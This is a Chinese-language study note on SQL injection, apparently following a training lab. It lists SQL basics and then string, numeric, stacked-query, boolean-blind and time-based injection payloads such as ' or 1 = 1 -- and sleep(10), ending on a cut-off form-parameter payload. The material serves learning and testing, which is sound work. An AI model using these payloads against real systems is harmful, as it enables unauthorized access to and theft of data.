SQL注入(简介)
- 什么是SQL?
select department from employees where first_name='Bob';
- 数据处理语言(DML)
update employees set department='Sales' where userid = 89762;
- 数据定义语言(DDL)
ALTER table employees add phone varchar(20);
- 数据控制语言(DCL)
#Grant <权限> on 表名[(列名)] to 用户 With grant option
#或 GRANT <权限> ON <数据对象> FROM <数据库用户>
GRANT alter TABLE TO UnauthorizedUser;
- 字符串SQL注入
SELECT * From user_data WHERE Login_Count = '1 or '1' = '1
- 数值SQL注入
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1=1
- String SQL注入
- 字符串SQL注入
' or 1 = 1 --
- 数值SQL注入
1 or 1 = 1 --
SQL注入(高级)
- 特殊字符
-- , # 注释
; 允许执行指令链
',+,|| 允许字符串拼接
- 联合查询
' ; select * from user_system_data --
SQL盲注
- 判断存在盲注
SELECT * from articles where article_id = 4
SELECT * from articles where article_id = 4 AND 1 = 1
如果返回内容相同,则存在盲注
- 利用方法
https://my-shop.com?article=4 AND substring(database_version(),1,1) = 2
如果数据库的权限设置正确(意味着无法与用于从Web应用程序连接到数据库的用户查询系统表),则该方法可能不起作用。
- 基于时间的SQL注入
SELECT * from articles where article_id = 4 ; sleep(10) --
根据响应时间判断是否存在注入
- 判断存在盲注
#帐户名字符串,为字符串型注入 选用 '1
username_reg=tom&email_reg=tom%40tom.com&password_reg=passaa&confirm_password_reg=tom
username_reg=tom+'+and+1='1&email_reg